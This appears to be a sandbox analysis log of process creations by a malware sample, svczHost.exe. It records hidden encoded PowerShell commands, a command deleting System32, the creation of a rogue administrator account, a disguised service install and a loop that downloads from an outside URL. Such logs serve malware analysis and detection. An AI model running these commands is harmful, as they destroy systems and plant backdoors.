TAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net start "myRdpService"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=

Source: unknown	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /v /k "powershell.exe -windowstyle hidden -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbwaeeaqqb1aeearqbvaeeavabnaeiarabbaeuaoabbafoaqqbcahaaqqbhadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbgaeeasabraeeavqb3aeiavqbbaegasqbbafmauqbcae8aqqbfagmaqqblaeeaqqbvaeearqbraeeavgb3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecabwbbafkazwbbahkaqqbfadqaqqbkagcaqgbpaeeargbjaeeavgbnaeeadwbbaecarqbbafiadwbbaduaqqbhahmaqqbxagcaqgbuaeearabvaeeayqb3aeiayqbbaeyatqbbae8auqbcaggaqqbgag8aqqbrafeaqqa5aeearaawaeeasqbnaeeacabbaemaawbbaesauqbbahaaqqbdadqaqqbrahcaqgbqaeearqa0aeeazabbaeiargbbaeuanabbagqaqqbbahaaqqbdagsaqqaiaa=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbwaeeaqqb1aeearqbvaeeavabnaeiarabbaeuaoabbafoaqqbcahaaqqbhadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbgaeeasabraeeavqb3aeiavqbbaegasqbbafmauqbcae8aqqbfagmaqqblaeeaqqbvaeearqbraeeavgb3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecabwbbafkazwbbahkaqqbfadqaqqbkagcaqgbpaeeargbjaeeavgbnaeeadwbbaecarqbbafiadwbbaduaqqbhahmaqqbxagcaqgbuaeearabvaeeayqb3aeiayqbbaeyatqbbae8auqbcaggaqqbgag8aqqbrafeaqqa5aeearaawaeeasqbnaeeacabbaemaawbbaesauqbbahaaqqbdadqaqqbrahcaqgbqaeearqa0aeeazabbaeiargbbaeuanabbagqaqqbbahaaqqbdagsaqqaiaa=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand sqbfafgaiaaoafsavabfafgavaauaeuatgbdae8azabpag4arwbdadoaogbvafqarga4ac4arwbfahqauwbuahiasqboaecakaaoaekavwbyacaakabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaciayqbiafiamabjaegatqa2aewaeqa5agoaygayae4adgbiafcavgawagearwa5agsawgbtaduaawbaafmaoqbhafoaqqa9ad0aigapackakqapac4aqwbpae4adabfae4adaapacka
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa4ageaoaa0agmamwa2adaaoqazadiamwbkaguangbjagqaoqbjadianqbhadeaoaa1adeazaawagqaywbkadgayqayagyamwbiadaaoqa3adcangbiagyaoabladcazaa0agqanga0adaamgbhadyanwayadaaywaxageazabkadgaoqbhadiamwbkaduazqbkadeamgbladaanqbjagyamgbmaduamwbkadcaygawadeanqbladcangbiagqanqbiadgamgayadmaoqa5adganwbjadaanaa5agqazqbmagiaoqbiaguanwa3adcanqbmadaayga1adaazqaxadmamabkadgazabiaguazabladqanqa4adgayqawadyazqawagiaygawaduanga4agiaywa5agqaywa1ageaoqa1adkamaa1adgazaaxagiaoqa4adcamwayagiayga4agqayqa0agmamaa3agqaygbiaduanga3agyaoqazagyamwa3adaangbkagqangayagyazaayadeazga1aguayqbladeanwayagqanqawadiangbjagqazaa1adianwa5agyaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa4ageaoaa0agmamwa2adaaoqazadiamwbkaguangbjagqaoqbjadianqbhadeaoaa1adeazaawagqaywbkadgayqayagyamwbiadaaoqa3adcangbiagyaoabladcazaa0agqanga0adaamgbhadyanwayadaaywaxageazabkadgaoqbhadiamwbkaduazqbkadeamgbladaanqbjagyamgbmaduamwbkadcaygawadeanqbladcangbiagqanqbiadgamgayadmaoqa5adganwbjadaanaa5agqazqbmagiaoqbiaguanwa3adcanqbmadaayga1adaazqaxadmamabkadgazabiaguazabladqanqa4adgayqawadyazqawagiaygawaduanga4agiaywa5agqaywa1ageaoqa1adkamaa1adgazaaxagiaoqa4adcamwayagiayga4agqayqa0agmamaa3agqaygbiaduanga3agyaoqazagyamwa3adaangbkagqangayagyazaayadeazga1aguayqbladeanwayagqanqawadiangbjagqazaa1adianwa5agyaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpacaapqagadaaowagac
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand zgb1ag4aywb0agkabwbuacaarwblahqalqbjagqazqbuahqaaqb0ahkaewakacaaiaagacaajaboageacgbkaeqacgbpahyazqbzacaapqagaecazqb0ac0avwbtagkatwbiagoazqbjahqaiaataemababhahmacwagafcaaqbuadmamgbfaeqaaqbzagsarabyagkadgblacaafaagafcaaablahiazqatae8aygbqaguaywb0acaaewagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhaciaiaatag8acgagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhacaalqagafmauwbeaciaiab9aaoajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaa9acaaqaaoackacgbmag8acgblageaywboacaakaakaggayqbyagqarabyagkadgblacaaaqbuacaajaboageacgbkaeqacgbpahyazqbzackaiab7aaoaiaagacaaiaakahmazqbyagkayqbsae4adqbtagiazqbyacaapqagacqaaabhahiazabeahiaaqb2agualgbtaguacgbpageababoahuabqbiaguacgakacaaiaagacaajabtag8azablagwaiaa9acaajaboageacgbkaeqacgbpahyazqauae0abwbkaguabaakacaaiaagacaajabkahiaaqb2aguasqbuagyabwagad0aiaaiafmazqbyagkayqbsacaatgb1ag0aygblahiaogagacqacwblahiaaqbhagwatgb1ag0aygblahialaagae0abwbkaguabaa6acaajabtag8azablagwaigakacaaiaagacaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaarad0aiaakagqacgbpahyazqbjag4azgbvaaoafqakacqaywbvag0aygbpag4azqbkaekabgbmag8aiaa9acaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaatagoabwbpag4aiaaiagaacgbgag4aigakacqaywbw